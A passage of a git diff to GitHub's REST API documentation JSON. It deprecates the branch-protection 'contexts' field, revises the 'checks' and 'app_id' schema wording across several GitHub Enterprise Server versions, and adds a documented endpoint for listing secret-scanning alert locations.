The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -30608,7 +30632,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -30617,11 +30641,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -30654,14 +30678,15 @@ }, { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, { @@ -30669,10 +30694,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -30681,11 +30709,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -30702,7 +30730,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -30711,11 +30739,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -30731,7 +30759,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -30740,11 +30768,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -31132,6 +31160,18 @@ "rawType": "boolean", "rawDescription": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`.", "childParamsGroups": [] + }, + { + "type": "array of strings", + "description": "

The list of status checks to require in order to merge into this branch.

", + "items": { + "type": "string" + }, + "name": "contexts", + "in": "body", + "rawType": "array", + "rawDescription": "The list of status checks to require in order to merge into this branch.", + "childParamsGroups": [] } ] }, @@ -32321,7 +32361,7 @@ "operationId": "repos/update-status-check-protection", "externalDocs": { "description": "API method documentation", - "url": "https://docs.github.com/github-ae@latest/rest/reference/repos#update-status-check-potection" + "url": "https://docs.github.com/github-ae@latest/rest/reference/repos#update-status-check-protection" }, "requestBody": { "required": false, @@ -32341,6 +32381,7 @@ }, "contexts": { "type": "array of strings", + "deprecated": true, "description": "

The list of status checks to require in order to merge into this branch

", "items": { "type": "string" @@ -32388,6 +32429,7 @@ }, { "type": "array of strings", + "deprecated": true, "description": "

The list of status checks to require in order to merge into this branch

", "items": { "type": "string" diff --git a/lib/rest/static/dereferenced/api.github.com.deref.json b/lib/rest/static/dereferenced/api.github.com.deref.json index 0ad9cf1ab5..451f0baaa3 100644 --- a/lib/rest/static/dereferenced/api.github.com.deref.json +++ b/lib/rest/static/dereferenced/api.github.com.deref.json @@ -153145,6 +153145,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -153186,7 +153188,8 @@ } }, "required": [ - "contexts" + "contexts", + "checks" ] }, "enforce_admins": { @@ -154564,6 +154567,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -154605,7 +154610,8 @@ } }, "required": [ - "contexts" + "contexts", + "checks" ] }, "enforce_admins": { @@ -155474,6 +155480,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -155515,7 +155523,8 @@ } }, "required": [ - "contexts" + "contexts", + "checks" ] }, "enforce_admins": { @@ -156474,7 +156483,8 @@ }, "contexts": { "type": "array", - "description": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "deprecated": true, + "description": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "items": { "type": "string" } @@ -156484,6 +156494,9 @@ "description": "The list of status checks to require in order to merge into this branch.", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", @@ -156491,7 +156504,7 @@ }, "app_id": { "type": "integer", - "description": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source." + "description": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App." } } } @@ -156693,7 +156706,11 @@ "type": "integer", "nullable": true } - } + }, + "required": [ + "context", + "app_id" + ] } }, "contexts_url": { @@ -156706,7 +156723,8 @@ "url", "contexts_url", "strict", - "contexts" + "contexts", + "checks" ] }, "required_pull_request_reviews": { @@ -159302,7 +159320,11 @@ "type": "integer", "nullable": true } - } + }, + "required": [ + "context", + "app_id" + ] } }, "contexts_url": { @@ -159315,7 +159337,8 @@ "url", "contexts_url", "strict", - "contexts" + "contexts", + "checks" ] }, "examples": { @@ -159376,7 +159399,7 @@ "operationId": "repos/update-status-check-protection", "externalDocs": { "description": "API method documentation", - "url": "https://docs.github.com/rest/reference/repos#update-status-check-potection" + "url": "https://docs.github.com/rest/reference/repos#update-status-check-protection" }, "parameters": [ { @@ -159419,10 +159442,31 @@ }, "contexts": { "type": "array", - "description": "The list of status checks to require in order to merge into this branch", + "deprecated": true, + "description": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "items": { "type": "string" } + }, + "checks": { + "type": "array", + "description": "The list of status checks to require in order to merge into this branch.", + "items": { + "type": "object", + "required": [ + "context" + ], + "properties": { + "context": { + "type": "string", + "description": "The name of the required check" + }, + "app_id": { + "type": "integer", + "description": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App." + } + } + } } } }, @@ -159476,7 +159520,11 @@ "type": "integer", "nullable": true } - } + }, + "required": [ + "context", + "app_id" + ] } }, "contexts_url": { @@ -159489,7 +159537,8 @@ "url", "contexts_url", "strict", - "contexts" + "contexts", + "checks" ] }, "examples": { @@ -165717,6 +165766,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -165758,7 +165809,8 @@ } }, "required": [ - "contexts" + "contexts", + "checks" ] }, "enforce_admins": { @@ -348533,6 +348585,243 @@ } } }, + "/repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}/locations": { + "get": { + "summary": "List locations for a secret scanning alert", + "description": "Lists all locations for a given secret scanning alert for a private repository. To use this endpoint, you must be an administrator for the repository or organization, and you must use an access token with the `repo` scope or `security_events` scope.\n\nGitHub Apps must have the `secret_scanning_alerts` read permission to use this endpoint.", + "tags": [ + "secret-scanning" + ], + "operationId": "secret-scanning/list-locations-for-alert", + "externalDocs": { + "description": "API method documentation", + "url": "https://docs.github.com/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert" + }, + "parameters": [ + { + "name": "owner", + "in": "path", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "repo", + "in": "path", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "alert_number", + "in": "path", + "description": "The number that identifies an alert. You can find this at the end of the URL for a code scanning alert within GitHub, and in the `number` field in the response from the `GET /repos/{owner}/{repo}/code-scanning/alerts` operation.", + "required": true, + "schema": { + "type": "integer", + "description": "The security alert number.", + "readOnly": true + } + }, + { + "name": "page", + "description": "Page number of the results to fetch.", + "in": "query", + "schema": { + "type": "integer", + "default": 1 + } + }, + { + "name": "per_page", + "description": "Results per page (max 100)", + "in": "query", + "schema": { + "type": "integer", + "default": 30 + } + } + ], + "responses": { + "200": { + "description": "Response", + "content": { + "application/json": { + "schema": { + "type": "array", + "description": "List of locations where the secret was detected", + "items": { + "type": "object", + "properties": { + "type": { + "type": "string", + "enum": [ + "commit" + ], + "description": "The location type. Because secrets may be found in different types of resources (ie. code, comments, issues), this field identifies the type of resource where the secret was found.", + "example": "commit" + }, + "details": { + "oneOf": [ + { + "description": "Represents a 'commit' secret scanning location type. This location type shows that a secret was detected inside a commit to a repository.", + "type": "object", + "properties": { + "path": { + "type": "string", + "description": "The file path in the repository", + "example": "/example/secrets.txt" + }, + "start_line": { + "type": "number", + "description": "Line number at which the secret starts in the file" + }, + "end_line": { + "type": "number", + "description": "Line number at which the secret ends in the file" + }, + "start_column": { + "type": "number", + "description": "The column at which the secret starts within the start line when the file is interpreted as 8BIT ASCII" + }, + "end_column": { + "type": "number", + "description": "The column at which the secret ends within the end line when the file is interpreted as 8BIT ASCII" + }, + "blob_sha": { + "type": "string", + "description": "SHA-1 hash ID of the associated blob", + "example": "af5626b4a114abcb82d63db7c8082c3c4756e51b" + }, + "blob_url": { + "type": "string", + "description": "The API URL to get the associated blob resource" + }, + "commit_sha": { + "type": "string", + "description": "SHA-1 hash ID of the associated commit", + "example": "af5626b4a114abcb82d63db7c8082c3c4756e51b" + }, + "commit_url": { + "type": "string", + "description": "The API URL to get the associated commit resource" + } + }, + "required": [ + "path", + "start_line", + "end_line", + "start_column", + "end_column", + "blob_sha", + "blob_url", + "commit_sha", + "commit_url" + ] + } + ] + } + }, + "required": [ + "type", + "details" + ] + } + }, + "examples": { + "default": { + "value": [ + { + "type": "commit", + "details": { + "path": "/example/secrets.txt", + "start_line": 1, + "end_line": 1, + "start_column": 1, + "end_column": 64, + "blob_sha": "af5626b4a114abcb82d63db7c8082c3c4756e51b", + "blob_url": "https://api.github.com/repos/octocat/hello-world/git/blobs/af5626b4a114abcb82d63db7c8082c3c4756e51b", + "commit_sha": "f14d7debf9775f957cf4f1e8176da0786431f72b", + "commit_url": "https://api.github.com/repos/octocat/hello-world/git/commits/f14d7debf9775f957cf4f1e8176da0786431f72b" + } + }, + { + "type": "commit", + "details": { + "path": "/example/secrets.txt", + "start_line": 5, + "end_line": 5, + "start_column": 1, + "end_column": 64, + "blob_sha": "9def38117ab2d8355b982429aa924e268b4b0065", + "blob_url": "https://api.github.com/repos/octocat/hello-world/git/blobs/9def38117ab2d8355b982429aa924e268b4b0065", + "commit_sha": "588483b99a46342501d99e3f10630cfc1219ea32", + "commit_url": "https://api.github.com/repos/octocat/hello-world/git/commits/588483b99a46342501d99e3f10630cfc1219ea32" + } + }, + { + "type": "commit", + "details": { + "path": "/example/secrets.txt", + "start_line": 12, + "end_line": 12, + "start_column": 1, + "end_column": 64, + "blob_sha": "0b33e9c66e19f7fb15137a82ff1c04c10cba6caf", + "blob_url": "https://api.github.com/repos/octocat/hello-world/git/blobs/0b33e9c66e19f7fb15137a82ff1c04c10cba6caf", + "commit_sha": "9def38117ab2d8355b982429aa924e268b4b0065", + "commit_url": "https://api.github.com/repos/octocat/hello-world/git/commits/9def38117ab2d8355b982429aa924e268b4b0065" + } + } + ] + } + } + } + }, + "headers": { + "Link": { + "example": "; rel=\"next\", ; rel=\"last\"", + "schema": { + "type": "string" + } + } + } + }, + "404": { + "description": "Repository is public, or secret scanning is disabled for the repository, or the resource is not found" + }, + "503": { + "description": "Service unavailable", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "code": { + "type": "string" + }, + "message": { + "type": "string" + }, + "documentation_url": { + "type": "string" + } + } + } + } + } + } + }, + "x-github": { + "githubCloudOnly": false, + "enabledForGitHubApps": true, + "category": "secret-scanning", + "subcategory": null + } + } + }, "/repos/{owner}/{repo}/stargazers": { "get": { "summary": "List stargazers", diff --git a/lib/rest/static/dereferenced/ghes-3.0.deref.json b/lib/rest/static/dereferenced/ghes-3.0.deref.json index 83b527c42c..bab86f2047 100644 --- a/lib/rest/static/dereferenced/ghes-3.0.deref.json +++ b/lib/rest/static/dereferenced/ghes-3.0.deref.json @@ -128557,6 +128557,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -128571,25 +128573,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, @@ -129976,6 +129959,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -129990,25 +129975,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, @@ -130886,6 +130852,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -130900,25 +130868,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, @@ -131893,7 +131842,8 @@ }, "contexts": { "type": "array", - "description": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "deprecated": true, + "description": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "items": { "type": "string" } @@ -131903,6 +131853,9 @@ "description": "The list of status checks to require in order to merge into this branch.", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", @@ -131910,7 +131863,7 @@ }, "app_id": { "type": "integer", - "description": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source." + "description": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App." } } } @@ -132013,6 +131966,13 @@ "required_conversation_resolution": { "type": "boolean", "description": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`." + }, + "contexts": { + "type": "array", + "description": "The list of status checks to require in order to merge into this branch.", + "items": { + "type": "string" + } } }, "required": [ @@ -132099,22 +132059,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", @@ -134750,22 +134694,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", @@ -134837,7 +134765,7 @@ "operationId": "repos/update-status-check-protection", "externalDocs": { "description": "API method documentation", - "url": "https://docs.github.com/enterprise-server@3.0/rest/reference/repos#update-status-check-potection" + "url": "https://docs.github.com/enterprise-server@3.0/rest/reference/repos#update-status-check-protection" }, "parameters": [ { @@ -134880,6 +134808,7 @@ }, "contexts": { "type": "array", + "deprecated": true, "description": "The list of status checks to require in order to merge into this branch", "items": { "type": "string" @@ -134924,22 +134853,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", diff --git a/lib/rest/static/dereferenced/ghes-3.1.deref.json b/lib/rest/static/dereferenced/ghes-3.1.deref.json index e4d7bcbca3..c14454f341 100644 --- a/lib/rest/static/dereferenced/ghes-3.1.deref.json +++ b/lib/rest/static/dereferenced/ghes-3.1.deref.json @@ -128872,6 +128872,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -128886,25 +128888,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, @@ -130291,6 +130274,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -130305,25 +130290,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, @@ -131201,6 +131167,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -131215,25 +131183,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, @@ -132208,7 +132157,8 @@ }, "contexts": { "type": "array", - "description": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "deprecated": true, + "description": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "items": { "type": "string" } @@ -132218,6 +132168,9 @@ "description": "The list of status checks to require in order to merge into this branch.", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", @@ -132225,7 +132178,7 @@ }, "app_id": { "type": "integer", - "description": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source." + "description": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App." } } } @@ -132328,6 +132281,13 @@ "required_conversation_resolution": { "type": "boolean", "description": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`." + }, + "contexts": { + "type": "array", + "description": "The list of status checks to require in order to merge into this branch.", + "items": { + "type": "string" + } } }, "required": [ @@ -132414,22 +132374,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", @@ -135065,22 +135009,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", @@ -135152,7 +135080,7 @@ "operationId": "repos/update-status-check-protection", "externalDocs": { "description": "API method documentation", - "url": "https://docs.github.com/enterprise-server@3.1/rest/reference/repos#update-status-check-potection" + "url": "https://docs.github.com/enterprise-server@3.1/rest/reference/repos#update-status-check-protection" }, "parameters": [ { @@ -135195,6 +135123,7 @@ }, "contexts": { "type": "array", + "deprecated": true, "description": "The list of status checks to require in order to merge into this branch", "items": { "type": "string" @@ -135239,22 +135168,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", @@ -141493,6 +141406,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -141507,25 +141422,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, diff --git a/lib/rest/static/dereferenced/ghes-3.2.deref.json b/lib/rest/static/dereferenced/ghes-3.2.deref.json index 8f2dabff4d..7b92ee572b 100644 --- a/lib/rest/static/dereferenced/ghes-3.2.deref.json +++ b/lib/rest/static/dereferenced/ghes-3.2.deref.json @@ -132489,6 +132489,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -132503,25 +132505,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, @@ -133908,6 +133891,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -133922,25 +133907,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, @@ -134818,6 +134784,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -134832,25 +134800,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, @@ -135825,7 +135774,8 @@ }, "contexts": { "type": "array", - "description": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "deprecated": true, + "description": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "items": { "type": "string" } @@ -135835,6 +135785,9 @@ "description": "The list of status checks to require in order to merge into this branch.", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", @@ -135842,7 +135795,7 @@ }, "app_id": { "type": "integer", - "description": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source." + "description": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App." } } } @@ -135945,6 +135898,13 @@ "required_conversation_resolution": { "type": "boolean", "description": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`." + }, + "contexts": { + "type": "array", + "description": "The list of status checks to require in order to merge into this branch.", + "items": { + "type": "string" + } } }, "required": [ @@ -136031,22 +135991,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", @@ -138682,22 +138626,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", @@ -138769,7 +138697,7 @@ "operationId": "repos/update-status-check-protection", "externalDocs": { "description": "API method documentation", - "url": "https://docs.github.com/enterprise-server@3.2/rest/reference/repos#update-status-check-potection" + "url": "https://docs.github.com/enterprise-server@3.2/rest/reference/repos#update-status-check-protection" }, "parameters": [ { @@ -138812,6 +138740,7 @@ }, "contexts": { "type": "array", + "deprecated": true, "description": "The list of status checks to require in order to merge into this branch", "items": { "type": "string" @@ -138856,22 +138785,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", @@ -145110,6 +145023,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -145124,25 +145039,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, diff --git a/lib/rest/static/dereferenced/ghes-3.3.deref.json b/lib/rest/static/dereferenced/ghes-3.3.deref.json index 68a5b11f1c..a54f78d9eb 100644 --- a/lib/rest/static/dereferenced/ghes-3.3.deref.json +++ b/lib/rest/static/dereferenced/ghes-3.3.deref.json @@ -139384,6 +139384,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -139398,25 +139400,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, @@ -140803,6 +140786,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -140817,25 +140802,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, @@ -141713,6 +141679,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -141727,25 +141695,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, @@ -142713,7 +142662,8 @@ }, "contexts": { "type": "array", - "description": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "deprecated": true, + "description": 